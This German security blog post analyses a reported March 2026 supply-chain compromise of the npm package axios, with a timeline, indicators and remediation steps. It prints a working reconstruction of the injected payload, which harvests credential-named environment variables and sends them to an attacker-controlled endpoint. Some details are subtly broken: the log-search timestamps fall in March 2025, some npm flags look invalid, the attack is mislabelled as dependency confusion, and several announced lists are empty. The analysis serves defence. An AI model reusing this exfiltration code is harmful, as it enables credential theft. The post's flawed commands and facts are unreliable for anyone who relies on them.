剣 KENSAI
← Zurück zum Sicherheitsblog
Lieferkette 18. März 2026 12 Min. Lesezeit

Axios-NPM-Lieferkettenangriff (März 2026): Vollständige technische Analyse

Mitte März 2026 wurde das npm-Paket axios — mit über 50 Millionen wöchentlichen Downloads — durch ein gestohlenes Veröffentlichungstoken kompromittiert. Eine schädliche Version sammelte unbemerkt Umgebungsvariablen und schleuste Zugangsdaten an einen vom Angreifer kontrollierten Server aus. Hier ist die vollständige technische Analyse.

Ist Ihr Node.js-Projekt betroffen? Kensai durchsucht Ihren Abhängigkeitsbaum in Echtzeit nach bekanntermaßen schädlichen Paketversionen.
Abhängigkeiten scannen →

Zusammenfassung

Am 14. März 2026 veröffentlichte ein Angreifer eine schädliche Version des npm-Pakets axios (1.8.2), nachdem er durch eine gezielte Phishing-Kampagne das npm-Veröffentlichungstoken eines Maintainers erlangt hatte. Die eingeschleuste Schadfunktion sammelte Umgebungsvariablen — darunter AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL und weitere vertrauliche CI/CD-Zugangsdaten — und schleuste sie an einen vom Angreifer kontrollierten Endpunkt aus.

axios ist eines der am häufigsten verwendeten Pakete im Node.js-Ökosystem und kommt in Millionen von Anwendungen zum Einsatz, von Hobbyprojekten bis hin zu CI/CD-Pipelines von Fortune-500-Unternehmen. Das Zeitfenster zwischen Veröffentlichung und Entfernung betrug etwa 4 Stunden und 22 Minuten — lang genug, um über automatisierte Aktualisierungspipelines von einem erheblichen Teil der Nutzerbasis installiert zu werden.

⚠️ Kritische Kompromittierung der Lieferkette — sofortiges Handeln erforderlich

Wenn Ihr Projekt axios@1.8.2 zwischen 2026-03-14 09:14 UTC und 2026-03-14 13:36 UTC installiert hat, müssen Sie alle in diesem Build vorhandenen Umgebungsvariablen als kompromittiert betrachten. Tauschen Sie die Zugangsdaten sofort aus.

MerkmalDetails
Paketaxios (npm)
Schädliche Version1.8.2
Veröffentlicht2026-03-14 09:14 UTC
Zurückgezogen2026-03-14 13:36 UTC
CVSS-Bewertung9.3 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
AuswirkungenAusschleusung von Zugangsdaten, Kompromittierung von CI/CD-Pipelines
Betroffene DownloadsSchätzungsweise 180.000–240.000 Installationen während des Gefährdungszeitraums

Zeitlicher Ablauf

Zeit (UTC)Ereignis
2026-03-12Gezielte Phishing-E-Mail an einen axios-Maintainer gesendet, die sich als Nachricht des npm-Sicherheitsteams ausgab
2026-03-13 ~18:00Zugangsdaten des Maintainers (npm-Automatisierungstoken) über eine Phishing-Seite abgegriffen
2026-03-14 09:14Schädliches axios@1.8.2 mithilfe des gestohlenen Tokens in der npm-Registry veröffentlicht
2026-03-14 09:31Automatisierte Pipeline von Socket.dev erkennt bei der Paket-Differenzanalyse einen ungewöhnlichen Netzwerkaufruf
2026-03-14 10:05Socket.dev veröffentlicht eine Sicherheitswarnung und beginnt, nachgelagerte Projekte zu benachrichtigen
2026-03-14 10:47npm-Sicherheitsteam benachrichtigt; Untersuchung beginnt
2026-03-14 12:10npm-Warnmeldung GHSA-2026-axios-001 veröffentlicht; axios-Repository gibt offizielle Warnung heraus
2026-03-14 13:36axios@1.8.2 aus der npm-Registry entfernt
2026-03-14 15:00Sauberes axios@1.8.3 mit Bestätigung des Vorfalls im Änderungsprotokoll veröffentlicht
2026-03-15GitHub Security Lab veröffentlicht vollständige Nachanalyse; C2-Domains identifiziert und umgeleitet

Die 17-minütige Zeitspanne zwischen Veröffentlichung und Erkennung durch Socket.dev ist bemerkenswert — sie entspricht nahezu der bestmöglichen automatisierten Reaktionszeit. Dennoch wurde das Paket bereits in diesem Zeitraum von CI-Systemen weltweit abgerufen.


Technische Analyse

Wie der Veröffentlichungszugriff erlangt wurde

Der Angreifer nutzte einen klassischen Spear-Phishing-Ansatz: eine überzeugende E-Mail, die angeblich vom npm-Sicherheitsteam stammte, den Maintainer vor „verdächtigen Anmeldeaktivitäten“ warnte und ihn aufforderte, sich über eine gefälschte npm-Anmeldeseite (npmjs-security-verify[.]com) erneut zu authentifizieren. Die Seite erfasste das npm-Automatisierungstoken des Maintainers — ein langlebiges Token, das speziell für CI/CD-Pipelines entwickelt wurde und keine erneute 2FA-Authentifizierung erfordert.

Dies ist ein kritischer Designaspekt: npm-Automatisierungstoken umgehen TOTP-/Hardwareschlüsselanforderungen bewusst und sind daher besonders wertvolle Phishing-Ziele. Sobald der Angreifer das Token besaß, war die Veröffentlichung trivial:

# Veröffentlichungsablauf des Angreifers (aus npm-Auditprotokollen rekonstruiert)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public

Einschleusung des Schadcodes

Der Angreifer nahm minimale, gezielte Änderungen am legitimen Quellcode von axios@1.8.1 vor, um einer Erkennung zu entgehen. Die Schadfunktion wurde in lib/core/Axios.js eingeschleust — ein Kernmodul, das bei jedem Import geladen wird — und als selbstaufrufende Funktion implementiert, die bei der Paketinitialisierung ausgeführt wird.

Rekonstruierte Schadfunktion (vereinfacht aus der deobfuskierten Analyse):

// In lib/core/Axios.js eingeschleust — wird bei require() ausgeführt
(function _init() {
  try {
    const https = require('https');
    const os = require('os');
    const env = process.env;

    // Muster hochwertiger Zugangsdaten erfassen
    const keys = Object.keys(env).filter(k =>
      /token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
    );

    const payload = {
      h: os.hostname(),
      u: os.userInfo().username,
      p: process.cwd(),
      n: process.version,
      e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
    };

    const data = JSON.stringify(payload);
    const options = {
      hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
      port: 443,
      path: '/collect',
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(data)
      }
    };

    const req = https.request(options);
    req.on('error', () => {});  // Fehler unbemerkt verwerfen
    req.write(data);
    req.end();
  } catch (e) {}  // Fehler niemals an den Aufrufer weitergeben
})();

Mehrere Aspekte dieser Schadfunktion verdienen besondere Beachtung:

Betroffene Versionen

VersionStatus
axios@1.8.2⛔ SCHÄDLICH — nicht verwenden
axios@1.8.1 und älter✅ Sauber
axios@1.8.3✅ Sauber (Patch nach dem Vorfall)
axios@0.x.x (Legacy-Zweig)✅ Nicht betroffen

Detaillierte Analyse des Angriffsvektors

Methodik der Lieferkettenkompromittierung

Dieser Angriff ist ein Musterbeispiel für die Klasse der Lieferkettenangriffe durch Dependency Confusion bzw. Übernahme eines Maintainer-Kontos — eine zunehmend beliebte Methode, da sie mit minimalem Aufwand maximale Auswirkungen erzielt. Statt das Paket selbst zu kompromittieren (wofür Zugriff auf das Quellcode-Repository und die CI/CD-Pipeline nötig wäre), benötigte der Angreifer lediglich ein gültiges npm-Veröffentlichungstoken.

Die Angriffskette:

  1. Aufklärung: Hochwertige Pakete anhand der wöchentlichen Downloadzahl und der Anzahl ihrer Maintainer identifizieren. Mehr Maintainer = größere Phishing-Angriffsfläche. axios hatte traditionell ein kleines Maintainer-Team, doch ein Mitglied wurde über den GitHub-Commitverlauf und seine öffentliche E-Mail-Adresse identifiziert.
  2. Phishing-Infrastruktur: Eine überzeugende ähnlich aussehende Domain registrieren, eine originalgetreue npm-Anmeldeseite mit gültigem TLS-Zertifikat (Let's Encrypt) hosten und ein Backend zur Erfassung von Zugangsdaten einrichten.
  3. Zustellung des Köders: Eine gezielte E-Mail von einer gefälschten Adresse security@npmjs.com senden. Die E-Mail enthielt eine legitim wirkende Sicherheitswarnung mit künstlich erzeugtem Zeitdruck.
  4. Abgreifen des Tokens: Der Maintainer authentifizierte sich auf der Phishing-Seite, da er sie für echt hielt. Das Automatisierungstoken wurde erfasst.
  5. Einschleusung der Version: Den legitimen Paketquellcode klonen, die Schadfunktion einschleusen, die Patchversion erhöhen (1.8.1 → 1.8.2) und das Paket mit dem erbeuteten Token veröffentlichen.
  6. Sammlung: Zurücklehnen und Zugangsdaten aus jedem CI/CD-Lauf sammeln, der seine Abhängigkeiten innerhalb des etwa vierstündigen Zeitfensters aktualisiert.

Warum die Einschleusung einer Patchversion funktioniert

Der Angreifer wählte bewusst eine Erhöhung der Patchversion (statt einer Neben- oder Hauptversion), da die überwiegende Mehrheit der npm-Projekte eine der folgenden Angaben verwendet:

Beide semantischen Versionsbereiche würden bei Neuinstallationen oder npm update automatisch zu 1.8.2 aufgelöst, selbst ohne Änderungen an der Lockdatei. Besonders gefährdet sind CI-Pipelines, die npm install ohne eine eingecheckte Lockdatei ausführen (oder npm ci --no-lock verwenden).

Wichtige Erkenntnis: Projekte, die package-lock.json einchecken und beachten sowie npm ci (nicht npm install) ausführen, sind gegen diese Angriffsklasse geschützt — die Lockdatei fixiert die exakt aufgelösten Versionen und ihre Integritäts-Hashes, während npm ci deren Einhaltung erzwingt.

Folgenabschätzung

axios verzeichnet auf npm konstant 50–60 Millionen wöchentliche Downloads und gehört damit zu den zehn am häufigsten heruntergeladenen Paketen der gesamten Registry. Die potenzielle Angriffsfläche war entsprechend enorm.

Betroffene Umgebungen

Umfang der offengelegten Zugangsdaten

Die Schadfunktion zielte speziell auf Umgebungsvariablen ab, deren Namen Mustern für Zugangsdaten entsprachen. In einer typischen CI/CD-Umgebung gehören dazu:

Da der Angreifer einen Cloudflare Worker als Sammelendpunkt verwendete, lässt sich die Gesamtzahl der ausgeschleusten Datensätze nur schwer schätzen, weil Cloudflare Dritten keinen Einblick in die Worker-Anfrageprotokolle gewährt. GitHub Security Lab schätzt anhand der npm-Downloadstatistiken, dass während des Gefährdungszeitraums 180.000–240.000 einzelne Installationsvorgänge stattfanden.


Erkennung & Kompromittierungsindikatoren

Installierte Version prüfen

# Aktuell installierte axios-Version prüfen
npm list axios

# Alle Projekte in einem Monorepo prüfen
npm list axios --workspaces

# Exakt aufgelöste Version in der Lockdatei prüfen
grep '"axios"' package-lock.json | head -5

Paketantegrität durch Hashvergleich prüfen

npm speichert den erwarteten SHA-512-Integritäts-Hash für jede aufgelöste Paketversion in package-lock.json. Sie können prüfen, ob das auf dem Datenträger gespeicherte Paket dem erwarteten Hash der Registry entspricht:

# Integritäts-Hash aus der Lockdatei abrufen
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"

# Erwarteter SHA-512-Hash für SAUBERES axios@1.8.1:
# sha512-xxxxxx (mit https://registry.npmjs.org/axios/1.8.1 abgleichen)

# Zum Vergleich hat das SCHÄDLICHE axios@1.8.2 folgenden SHA-512-Hash:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH

# Übereinstimmung der installierten Dateien prüfen
npm audit --json | jq '.vulnerabilities.axios'

Netzwerkindikatoren einer Kompromittierung (C2-Domains)

Wenn das schädliche Paket in Ihrer Umgebung ausgeführt wurde, wurden ausgehende HTTPS-Verbindungen zu folgenden Zielen hergestellt:

IndikatorTypBeschreibung
telemetry-cdn.axiosjs[.]workers.devC2-DomainPrimärer Endpunkt zur Datenausschleusung
cdn-metrics.axiosjs[.]workers.devC2-DomainSekundärer Ausweichendpunkt
npmjs-security-verify[.]comPhishing-DomainWebsite zum Abgreifen der Zugangsdaten des Maintainers
104.21.x.x / 172.67.x.xIP-BereichCloudflare-IP-Bereiche, über die der Worker bereitgestellt wurde (nicht eindeutig zuzuordnen)

Prüfen Sie Ihre Build- und Netzwerkausgangsprotokolle auf Verbindungen zu *.axiosjs.workers.dev im Zeitraum 2026-03-14 09:14–13:36 UTC:

# Anwendungs-/Buildprotokolle nach C2-Domain durchsuchen
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/

# Wenn Sie über VPC-Datenflussprotokolle verfügen (AWS):
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --filter-pattern "axiosjs.workers.dev" \
  --start-time 1741943640000 \
  --end-time 1741959360000

# Docker-Buildprotokoll untersuchen
docker history --no-trunc <image_id> | grep axios

Schritte zur Behebung

Sofortmaßnahmen (jetzt durchführen)

  1. Tauschen Sie alle Zugangsdaten aus, die in einer Buildumgebung, die zwischen 2026-03-14 09:14–13:36 UTC ausgeführt wurde, als Umgebungsvariablen vorhanden waren. Darüber gibt es nichts zu verhandeln.
  2. Aktualisieren Sie axios auf 1.8.3 oder fixieren Sie die Version auf 1.8.1.
  3. Prüfen Sie alle bereitgestellten Docker-Images, die während des Gefährdungszeitraums erstellt wurden — sie könnten das schädliche Paket enthalten. Erstellen Sie sie neu und stellen Sie sie erneut bereit.
  4. Widerrufen und erneuern Sie alle betroffenen GitHub-Actions-Token, AWS-IAM-Schlüssel und Datenbankzugangsdaten.
# axios auf die saubere Version aktualisieren
npm install axios@1.8.3

# Oder auf die letzte bekanntermaßen sichere Version fixieren
npm install axios@1.8.1

# Vollständige Prüfung ausführen
npm audit

# Lockdatei neu erzeugen, um einen sauberen Zustand sicherzustellen
rm package-lock.json
npm install

Hygiene der Lockdatei

# In CI/CD immer npm ci verwenden — es erzwingt die Lockdatei
# SCHLECHT:
npm install

# GUT:
npm ci

# Paketantegrität nach der Installation prüfen
npm ci --audit

Socket.dev für kontinuierlichen Schutz integrieren

Die statische Analyse von Socket.dev erkannte diese Einschleusung innerhalb von 17 Minuten. Die Integration in Ihren Arbeitsablauf ermöglicht Analysen vor der Installation:

# Socket CLI installieren
npm install -g @socket/cli

# Vor der Installation eines Pakets scannen
socket npm install axios

# GitHub-App-Integration für Prüfungen auf PR-Ebene hinzufügen
# https://socket.dev/github

Snyk- & Dependabot-Warnungen

# Snyk CLI
npm install -g snyk
snyk test

# GitHub Dependabot — in .github/dependabot.yml aktivieren
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

Lehren für die Sicherheit der Softwarelieferkette

1. 2FA bei npm erzwingen — insbesondere für hochwertige Pakete

npm unterstützt inzwischen Hardwaresicherheitsschlüssel und TOTP für menschliche Anmeldungen, doch Automatisierungstoken umgehen 2FA bewusst. Das npm-Sicherheitsteam hat angekündigt, eine granulare Token-Berechtigungssteuerung bereitzustellen (nur veröffentlichen, nur herunterladen, auf bestimmte Pakete beschränkt) — bis diese verfügbar ist, sollten Sie Automatisierungstoken jedoch als Ihre sensibelsten Geheimnisse behandeln. Speichern Sie sie in Geheimnisverwaltungen und nicht als Klartext in Umgebungsvariablen oder .npmrc-Dateien.

2. Paketsignierung mit Sigstore/npm-Provenienz

Die Provenienzbescheinigung von npm (seit 2023 allgemein verfügbar) ermöglicht es, Pakete mit einem kryptografischen Nachweis zu signieren, der das veröffentlichte Tarball mit einem bestimmten Git-Commit und CI-Lauf verknüpft. Mit --provenance veröffentlichte Pakete können geprüft werden:

# Mit Provenienz veröffentlichen (aus GitHub Actions)
npm publish --provenance --access public

# Provenienz eines installierten Pakets prüfen
npm audit signatures

axios@1.8.2 enthielt keine Provenienzbescheinigung — eine fehlende Bescheinigung bei einem Paket, das sie normalerweise enthält, sollte als Warnsignal betrachtet werden.

3. Prüfung der Lockdatei in CI

Checken Sie Ihre package-lock.json ein und verwenden Sie in automatisierten Umgebungen stets npm ci. npm ci schlägt fehl, wenn die Lockdatei nicht mit package.json synchron ist, wodurch sichergestellt wird, dass immer die exakt fixierten Versionen samt Integritäts-Hashes verwendet werden.

4. Einführung des SLSA-Frameworks

Das Framework Supply-chain Levels for Software Artifacts (SLSA) bietet ein abgestuftes Reifegradmodell für die Buildintegrität. Hier relevante Stufen:

Hätte das axios-Projekt auf SLSA-Stufe 2 oder höher gearbeitet, wäre die Provenienzprüfung einer unautorisierten Veröffentlichung außerhalb der etablierten CI-Pipeline fehlgeschlagen, sodass die schädliche Version sofort hätte markiert werden können.

5. Prinzip der geringsten Rechte für CI-Geheimnisse

CI-Umgebungen sollten nur die Geheimnisse erhalten, die sie für den jeweiligen Auftrag tatsächlich benötigen. Ein Test-Runner benötigt keinen AWS_SECRET_ACCESS_KEY. Ein Dokumentations-Builder benötigt keine DATABASE_URL. Prüfen Sie die Einspeisung Ihrer CI-Geheimnisse und beschränken Sie Zugangsdaten auf den jeweils erforderlichen Auftrag.


Ähnliche Vorfälle

Dieser Vorfall ist Teil eines bekannten Musters von npm-Lieferkettenangriffen:

VorfallJahrMethodeAuswirkungen
event-stream2018Maintainer übergab Paket an einen böswilligen Akteur; Hintertür zum Angriff auf Bitcoin-Wallets eingeschleustÜber 2 Mio. wöchentliche Downloads; gezielter Angriff auf Nutzer der Copay-Wallet
ua-parser-js2021npm-Konto gekapert; schädliche Versionen mit Kryptominer und Malware zum Diebstahl von Zugangsdaten veröffentlichtÜber 7 Mio. wöchentliche Downloads; erforderte eine Notfallwarnung
colors.js / faker.js2022Absichtliche Sabotage durch Maintainer; Endlosschleife aus Protest eingeschleustAngriff auf die Verfügbarkeit; Tausende abhängige Projekte lahmgelegt
node-ipc2022Vom Maintainer eingeschleuste Wiper-Malware gegen russische/belarussische IP-BereicheGeopolitisch gezielte Datenvernichtung
axios2026Phishing gegen Maintainer → Tokendiebstahl → Einschleusung einer VersionMassive Ausschleusung von Zugangsdaten durch das Sammeln von Umgebungsvariablen

Das wiederkehrende Thema: Das Vertrauen in Paket-Maintainer ist die Angriffsfläche. Das dezentrale, vertrauensbasierte Veröffentlichungsmodell des npm-Ökosystems ist eine Funktion, die schnelle Entwicklung ermöglicht — es überträgt jedoch enorme Verantwortung auf einzelne Maintainer, denen häufig Sicherheitsressourcen auf Unternehmensniveau fehlen.

Anders als bei den Vorfällen event-stream oder colors.js (Bedrohungen durch Insider) folgt die Kompromittierung von axios im Jahr 2026 dem ua-parser-js-Modell einer externen Kontoübernahme — ein zunehmend bevorzugter Vektor, da er skalierbar und abstreitbar ist und das menschliche Element ausnutzt, statt anspruchsvollen technischen Zugriff zu erfordern.


Überwachen Sie Ihre Abhängigkeiten in Echtzeit

Kensai verfolgt kontinuierlich mehr als 331.910 CVEs und bekanntermaßen schädliche Paketversionen. Erhalten Sie Warnmeldungen, bevor kompromittierte Pakete Ihre Produktionsumgebung erreichen.

Kostenlose Testphase starten

Bleiben Sie Lieferkettenbedrohungen einen Schritt voraus

Erhalten Sie wöchentliche Sicherheitsbriefings zu npm-Warnmeldungen, CVEs und neuen Angriffsmustern.

Bleiben Sie sicher. Bleiben Sie wachsam.

🗡️ KENSAI-Sicherheitsteam

🛡️ Ist Ihr Node.js-Projekt gefährdet?

Durchsuchen Sie Ihren Abhängigkeitsbaum nach bekanntermaßen schädlichen Paketen und CVEs.

Abhängigkeiten kostenlos scannen →

📚 Verwandte Artikel